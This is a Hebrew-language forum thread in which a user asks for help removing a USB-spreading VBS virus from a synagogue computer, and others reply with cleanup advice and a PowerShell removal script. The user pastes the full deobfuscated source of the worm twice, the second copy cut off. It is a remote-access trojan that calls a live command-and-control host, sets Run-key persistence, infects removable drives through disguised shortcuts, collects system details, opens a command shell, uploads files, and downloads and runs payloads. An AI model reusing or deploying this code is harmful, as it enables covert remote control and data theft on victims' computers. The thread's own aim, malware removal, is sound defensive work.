          מתכנת חובבמ תגובה 1 תגובה אחרונה
          1
          • cfopuserC cfopuser

            @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

            המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

            או לכבות vbs דרך הריג'יסטרי.

            מתכנת חובבמ מנותק
            מתכנת חובבמ מנותק
            מתכנת חובב
            מדריכים
            כתב נערך לאחרונה על ידי
            #10

            @cfopuser בשביל מה?
            אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

            צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

            cfopuserC תגובה 1 תגובה אחרונה
            0
            • מתכנת חובבמ מתכנת חובב

              @cfopuser בשביל מה?
              אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

              cfopuserC מנותק
              cfopuserC מנותק
              cfopuser
              כתב נערך לאחרונה על ידי
              #11

              @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

              @cfopuser בשביל מה?

              לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

              מתכנת חובבמ תגובה 1 תגובה אחרונה
              0
              • ר רנדומלי

                בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                cmd /c hrxxryydxo.vbs && start explorer [file name]
                

                הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                

                בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                לאחר פיענוח הקידוד התקבל הקוד הבא:
                אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                e
                '<[ recoder : houdini (c) skype : houdini-fx ]>
                
                '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                
                host = "khattab.no-ip.biz"
                port = 5550
                installdir = "%temp%"
                lnkfile = true
                lnkfolder = true
                
                '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                
                dim shellobj 
                set shellobj = wscript.createobject("wscript.shell")
                dim filesystemobj
                set filesystemobj = createobject("scripting.filesystemobject")
                dim httpobj
                set httpobj = createobject("msxml2.xmlhttp")
                
                '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                
                installname = wscript.scriptname
                startup = shellobj.specialfolders ("startup") & "\"
                installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                spliter = "<" & "|" & ">"
                sleep = 5000 
                dim response
                dim cmd
                dim param
                info = ""
                usbspreading = ""
                startdate = ""
                dim oneonce
                
                '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                on error resume next
                
                instance
                while true
                
                install
                
                response = ""
                response = post ("is-ready","")
                cmd = split (response,spliter)
                select case cmd (0)
                case "excecute"
                      param = cmd (1)
                      execute param
                case "update"
                      param = cmd (1)
                      oneonce.close
                      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                      oneonce.write param
                      oneonce.close
                      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                      wscript.quit 
                case "uninstall"
                      uninstall
                case "send"
                      download cmd (1),cmd (2)
                case "site-send"
                      sitedownloader cmd (1),cmd (2)
                case "recv"
                      param = cmd (1)
                      upload (param)
                case  "enum-driver"
                      post "is-enum-driver",enumdriver  
                case  "enum-faf"
                      param = cmd (1)
                      post "is-enum-faf",enumfaf (param)
                case  "enum-process"
                      post "is-enum-process",enumprocess   
                case  "cmd-shell"
                      param = cmd (1)
                      post "is-cmd-shell",cmdshell (param)  
                case  "delete"
                      param = cmd (1)
                      deletefaf (param) 
                case  "exit-process"
                      param = cmd (1)
                      exitprocess (param) 
                case  "sleep"
                      param = cmd (1)
                      sleep = eval (param)        
                end select
                
                wscript.sleep sleep
                
                wend
                
                sub install
                on error resume next
                dim lnkobj
                dim filename
                dim foldername
                dim fileicon
                dim foldericon
                
                upstart
                for each drive in filesystemobj.drives
                
                if  drive.isready = true then
                if  drive.freespace  > 0 then
                if  drive.drivetype  = 1 then
                    filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                    if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                        filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                    end if
                    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                        if not lnkfile then exit for
                        if  instr (file.name,".") then
                            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                file.attributes = 2+4
                                if  ucase (file.name) <> ucase (installname) then
                                    filename = split(file.name,".")
                                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                    lnkobj.windowstyle = 7
                                    lnkobj.targetpath = "cmd.exe"
                                    lnkobj.workingdirectory = ""
                                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                    if  instr (fileicon,",") = 0 then
                                        lnkobj.iconlocation = file.path
                                    else 
                                        lnkobj.iconlocation = fileicon
                                    end if
                                    lnkobj.save()
                                end if
                            end if
                        end if
                    next
                    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                        if not lnkfolder then exit for
                        folder.attributes = 2+4
                        foldername = folder.name
                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                        lnkobj.windowstyle = 7
                        lnkobj.targetpath = "cmd.exe"
                        lnkobj.workingdirectory = ""
                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                        if  instr (foldericon,",") = 0 then
                            lnkobj.iconlocation = folder.path
                        else 
                            lnkobj.iconlocation = foldericon
                        end if
                        lnkobj.save()
                    next
                end If
                end If
                end if
                next
                err.clear
                end sub
                
                sub uninstall
                on error resume next
                dim filename
                dim foldername
                
                shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                filesystemobj.deletefile startup & installname ,true
                filesystemobj.deletefile wscript.scriptfullname ,true
                
                for  each drive in filesystemobj.drives
                if  drive.isready = true then
                if  drive.freespace  > 0 then
                if  drive.drivetype  = 1 then
                    for  each file in filesystemobj.getfolder ( drive.path & "\").files
                         on error resume next
                         if  instr (file.name,".") then
                             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                 file.attributes = 0
                                 if  ucase (file.name) <> ucase (installname) then
                                     filename = split(file.name,".")
                                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                 else
                                     filesystemobj.deletefile (drive.path & "\" & file.name)
                                 end If
                             else
                                 filesystemobj.deletefile (file.path) 
                             end if
                         end if
                     next
                     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                         folder.attributes = 0
                     next
                end if
                end if
                end if
                next
                wscript.quit
                end sub
                
                function post (cmd ,param)
                
                post = param
                httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                httpobj.setrequestheader "user-agent:",information
                httpobj.send param
                post = httpobj.responsetext
                end function
                
                function information
                on error resume next
                if  inf = "" then
                    inf = hwid & spliter 
                    inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                    inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                
                    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                    set os = root.execquery ("select * from win32_operatingsystem")
                    for each osinfo in os
                       inf = inf & osinfo.caption & spliter  
                       exit for
                    next
                    inf = inf & "plus" & spliter
                    inf = inf & security & spliter
                    inf = inf & usbspreading
                    information = inf  
                else
                    information = inf
                end if
                end function
                
                sub upstart ()
                on error resume Next
                
                shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                
                end sub
                
                function hwid
                on error resume next
                
                set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                set disks = root.execquery ("select * from win32_logicaldisk")
                for each disk in disks
                    if  disk.volumeserialnumber <> "" then
                        hwid = disk.volumeserialnumber
                        exit for
                    end if
                next
                end function
                
                function security 
                on error resume next
                
                security = ""
                
                set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                for each objitem in colitems
                    versionstr = split (objitem.version,".")
                next
                versionstr = split (colitems.version,".")
                osversion = versionstr (0) & "."
                for  x = 1 to ubound (versionstr)
                     osversion = osversion &  versionstr (i)
                next
                osversion = eval (osversion)
                if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                
                set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                
                for each objantivirus in colantivirus
                    security  = security  & objantivirus.displayname & " ."
                next
                if security  = "" then security  = "nan-av"
                end function
                
                function instance
                on error resume next
                
                usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                if usbspreading = "" then
                   if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                      usbspreading = "true - " & date
                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                   else
                      usbspreading = "false - " & date
                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                
                   end if
                end If
                
                
                upstart
                set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                    wscript.quit 
                end If
                err.clear
                set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                if  err.number > 0 then wscript.quit
                end function
                
                sub sitedownloader (fileurl,filename)
                
                strlink = fileurl
                strsaveto = installdir & filename
                set objhttpdownload = createobject("msxml2.xmlhttp" )
                objhttpdownload.open "get", strlink, false
                objhttpdownload.send
                
                set objfsodownload = createobject ("scripting.filesystemobject")
                if  objfsodownload.fileexists (strsaveto) then
                    objfsodownload.deletefile (strsaveto)
                end if
                 
                if objhttpdownload.status = 200 then
                   dim  objstreamdownload
                   set  objstreamdownload = createobject("adodb.stream")
                   with objstreamdownload
                        .type = 1 
                        .open
                        .write objhttpdownload.responsebody
                        .savetofile strsaveto
                        .close
                   end with
                   set objstreamdownload = nothing
                end if
                if objfsodownload.fileexists(strsaveto) then
                   shellobj.run objfsodownload.getfile (strsaveto).shortpath
                end if 
                end sub
                
                sub download (fileurl,filedir)
                
                if filedir = "" then 
                   filedir = installdir
                end if
                
                strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                set objhttpdownload = createobject("msxml2.xmlhttp")
                objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                objhttpdownload.send ""
                     
                set objfsodownload = createobject ("scripting.filesystemobject")
                if  objfsodownload.fileexists (strsaveto) then
                    objfsodownload.deletefile (strsaveto)
                end if
                if  objhttpdownload.status = 200 then
                    dim  objstreamdownload
                    set  objstreamdownload = createobject("adodb.stream")
                    with objstreamdownload 
                         .type = 1 
                         .open
                         .write objhttpdownload.responsebody
                         .savetofile strsaveto
                         .close
                    end with
                    set objstreamdownload  = nothing
                end if
                if objfsodownload.fileexists(strsaveto) then
                   shellobj.run objfsodownload.getfile (strsaveto).shortpath
                end if 
                end sub
                
                function upload (fileurl)
                
                dim  httpobj,objstreamuploade,buffer
                set  objstreamuploade = createobject("adodb.stream")
                with objstreamuploade 
                     .type = 1 
                     .open
                     .loadfromfile fileurl
                     buffer = .read
                     .close
                end with
                set objstreamdownload = nothing
                set httpobj = createobject("msxml2.xmlhttp")
                httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                httpobj.send buffer
                end function
                
                function enumdriver ()
                
                for  each drive in filesystemobj.drives
                if   drive.isready = true then
                     enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                end if
                next
                end Function
                
                function enumfaf (enumdir)
                
                enumfaf = enumdir & spliter
                for  each folder in filesystemobj.getfolder (enumdir).subfolders
                     enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                next
                
                for  each file in filesystemobj.getfolder (enumdir).files
                     enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                
                next
                end function
                
                function enumprocess ()
                
                on error resume next
                
                set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                set colitems = objwmiservice.execquery("select * from win32_process",,48)
                
                dim objitem
                for each objitem in colitems
                    enumprocess = enumprocess & objitem.name & "|"
                    enumprocess = enumprocess & objitem.processid & "|"
                    enumprocess = enumprocess & objitem.executablepath & spliter
                next
                end function
                
                sub exitprocess (pid)
                on error resume next
                
                shellobj.run "taskkill /F /T /PID " & pid,7,true
                end sub
                
                sub deletefaf (url)
                on error resume next
                
                filesystemobj.deletefile url
                filesystemobj.deletefolder url
                
                end sub
                
                function cmdshell (cmd)
                
                dim httpobj,oexec,readallfromany
                
                set oexec = shellobj.exec ("%comspec% /c " & cmd)
                if not oexec.stdout.atendofstream then
                   readallfromany = oexec.stdout.readall
                elseif not oexec.stderr.atendofstream then
                   readallfromany = oexec.stderr.readall
                else 
                   readallfromany = ""
                end if
                
                cmdshell = readallfromany
                end function
                
                מתכנת חובבמ מנותק
                מתכנת חובבמ מנותק
                מתכנת חובב
                מדריכים
                כתב נערך לאחרונה על ידי
                #12

                @רנדומלי בקשה פשוטה מג'מיני בצירף הקוד של הוירוס הניבה סקריפט PS שמטפל בזה

                $vName = "hrxxryydxo"
                $vFile = "$vName.vbs"
                
                Write-Host "--- מתחיל בניקוי המחשב ---" -ForegroundColor Cyan
                
                # 1. עצירת התהליך החי במחשב
                Get-CimInstance Win32_Process -Filter "Name = 'wscript.exe'" | 
                    Where-Object CommandLine -match $vName | 
                    Invoke-CimMethod -MethodName Terminate | Out-Null
                Write-Host "[+] תהליך הווירוס בזיכרון נעצר." -ForegroundColor Green
                
                # 2. עקירת שורשי ההפעלה מהרגיסטרי (Registry) במחשב
                Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
                Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
                Remove-Item -Path "HKLM:\Software\$vName" -Recurse -ErrorAction SilentlyContinue
                Write-Host "[+] ערכי הרישום וההפעלה האוטומטית נוקו." -ForegroundColor Green
                
                # 3. מחיקת הקבצים הפיזיים מהמחשב (מתיקיות Temp ו-Startup)
                $tempDir = [System.IO.Path]::GetTempPath()
                $startupDir = [Environment]::GetFolderPath('Startup')
                Remove-Item -Path "$tempDir\$vFile" -Force -ErrorAction SilentlyContinue
                Remove-Item -Path "$startupDir\$vFile" -Force -ErrorAction SilentlyContinue
                Write-Host "[+] קבצי הווירוס נמחקו מהמחשב (Temp, Startup)." -ForegroundColor Green
                
                
                Write-Host "--- מתחיל בסריקת כוננים חיצוניים ---" -ForegroundColor Cyan
                
                # 4. ניקוי כל הכוננים החיצוניים המחוברים ושחזור קבצים
                $usbDrives = Get-CimInstance Win32_LogicalDisk -Filter "DriveType = 2"
                
                if ($usbDrives.Count -eq 0) {
                    Write-Host "[-] לא זוהו כונני USB מחוברים." -ForegroundColor Yellow
                } else {
                    foreach ($drive in $usbDrives) {
                        $driveLetter = $drive.DeviceID + "\" 
                        Write-Host "סורק כונן $driveLetter..." -ForegroundColor Cyan
                
                        # מחיקת קיצורי הדרך המזויפים וקובץ הווירוס מהכונן
                        Remove-Item -Path "$driveLetter*.lnk" -Force -ErrorAction SilentlyContinue
                        Remove-Item -Path "$driveLetter$vFile" -Force -ErrorAction SilentlyContinue
                
                        # פעולת התיקון הלוגית: ביטול דגלי ההסתרה והמערכת
                        Get-ChildItem -Path $driveLetter -Force | ForEach-Object {
                            if (($_.Attributes -band [System.IO.FileAttributes]::Hidden) -or ($_.Attributes -band [System.IO.FileAttributes]::System)) {
                                $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::Hidden
                                $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::System
                            }
                        }
                        Write-Host "[+] כונן $driveLetter נוקה והקבצים המקוריים שוחזרו." -ForegroundColor Green
                    }
                }
                
                Write-Host "--- הניקוי הושלם במלואו! ---" -ForegroundColor Green
                

                לשמור את זה עם הסיומת ps1 ולהריץ כמנהל

                צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                תגובה 1 תגובה אחרונה
                0
                • cfopuserC cfopuser

                  @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                  @cfopuser בשביל מה?

                  לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

                  מתכנת חובבמ מנותק
                  מתכנת חובבמ מנותק
                  מתכנת חובב
                  מדריכים
                  כתב נערך לאחרונה על ידי מתכנת חובב
                  #13

                  @cfopuser הוא לא כתב איזה אנטי וירוס יש שם אבל אנטי וירוס נורמלי שמוגדר בצורה נורמלית ומחשב עם בקרת UAC נורמלית לא אמורים להידבק בוירוסים האלו
                  זה וירוס קל מאוד לזיהוי (אפשר לראות בקוד חתימה ברורה וכל מנוע יוריסטי יזהה את הפעילות שלו)
                  עריכה: אפילו בניתוח סטטי הוא מזוהה על ידי 47 מתוך 62 בוירוס טוטאל

                  צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                  תגובה 1 תגובה אחרונה
                  2
                  • ר רנדומלי

                    בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                    cmd /c hrxxryydxo.vbs && start explorer [file name]
                    

                    הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                    לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                    תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                    לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                    z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                    

                    בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                    לאחר פיענוח הקידוד התקבל הקוד הבא:
                    אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                    e
                    '<[ recoder : houdini (c) skype : houdini-fx ]>
                    
                    '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                    
                    host = "khattab.no-ip.biz"
                    port = 5550
                    installdir = "%temp%"
                    lnkfile = true
                    lnkfolder = true
                    
                    '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                    
                    dim shellobj 
                    set shellobj = wscript.createobject("wscript.shell")
                    dim filesystemobj
                    set filesystemobj = createobject("scripting.filesystemobject")
                    dim httpobj
                    set httpobj = createobject("msxml2.xmlhttp")
                    
                    '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                    
                    installname = wscript.scriptname
                    startup = shellobj.specialfolders ("startup") & "\"
                    installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                    if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                    spliter = "<" & "|" & ">"
                    sleep = 5000 
                    dim response
                    dim cmd
                    dim param
                    info = ""
                    usbspreading = ""
                    startdate = ""
                    dim oneonce
                    
                    '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                    on error resume next
                    
                    instance
                    while true
                    
                    install
                    
                    response = ""
                    response = post ("is-ready","")
                    cmd = split (response,spliter)
                    select case cmd (0)
                    case "excecute"
                          param = cmd (1)
                          execute param
                    case "update"
                          param = cmd (1)
                          oneonce.close
                          set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                          oneonce.write param
                          oneonce.close
                          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                          wscript.quit 
                    case "uninstall"
                          uninstall
                    case "send"
                          download cmd (1),cmd (2)
                    case "site-send"
                          sitedownloader cmd (1),cmd (2)
                    case "recv"
                          param = cmd (1)
                          upload (param)
                    case  "enum-driver"
                          post "is-enum-driver",enumdriver  
                    case  "enum-faf"
                          param = cmd (1)
                          post "is-enum-faf",enumfaf (param)
                    case  "enum-process"
                          post "is-enum-process",enumprocess   
                    case  "cmd-shell"
                          param = cmd (1)
                          post "is-cmd-shell",cmdshell (param)  
                    case  "delete"
                          param = cmd (1)
                          deletefaf (param) 
                    case  "exit-process"
                          param = cmd (1)
                          exitprocess (param) 
                    case  "sleep"
                          param = cmd (1)
                          sleep = eval (param)        
                    end select
                    
                    wscript.sleep sleep
                    
                    wend
                    
                    sub install
                    on error resume next
                    dim lnkobj
                    dim filename
                    dim foldername
                    dim fileicon
                    dim foldericon
                    
                    upstart
                    for each drive in filesystemobj.drives
                    
                    if  drive.isready = true then
                    if  drive.freespace  > 0 then
                    if  drive.drivetype  = 1 then
                        filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                        if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                            filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                        end if
                        for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                            if not lnkfile then exit for
                            if  instr (file.name,".") then
                                if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                    file.attributes = 2+4
                                    if  ucase (file.name) <> ucase (installname) then
                                        filename = split(file.name,".")
                                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                        lnkobj.windowstyle = 7
                                        lnkobj.targetpath = "cmd.exe"
                                        lnkobj.workingdirectory = ""
                                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                        fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                        if  instr (fileicon,",") = 0 then
                                            lnkobj.iconlocation = file.path
                                        else 
                                            lnkobj.iconlocation = fileicon
                                        end if
                                        lnkobj.save()
                                    end if
                                end if
                            end if
                        next
                        for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                            if not lnkfolder then exit for
                            folder.attributes = 2+4
                            foldername = folder.name
                            set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                            lnkobj.windowstyle = 7
                            lnkobj.targetpath = "cmd.exe"
                            lnkobj.workingdirectory = ""
                            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                            foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                            if  instr (foldericon,",") = 0 then
                                lnkobj.iconlocation = folder.path
                            else 
                                lnkobj.iconlocation = foldericon
                            end if
                            lnkobj.save()
                        next
                    end If
                    end If
                    end if
                    next
                    err.clear
                    end sub
                    
                    sub uninstall
                    on error resume next
                    dim filename
                    dim foldername
                    
                    shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                    shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                    filesystemobj.deletefile startup & installname ,true
                    filesystemobj.deletefile wscript.scriptfullname ,true
                    
                    for  each drive in filesystemobj.drives
                    if  drive.isready = true then
                    if  drive.freespace  > 0 then
                    if  drive.drivetype  = 1 then
                        for  each file in filesystemobj.getfolder ( drive.path & "\").files
                             on error resume next
                             if  instr (file.name,".") then
                                 if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                     file.attributes = 0
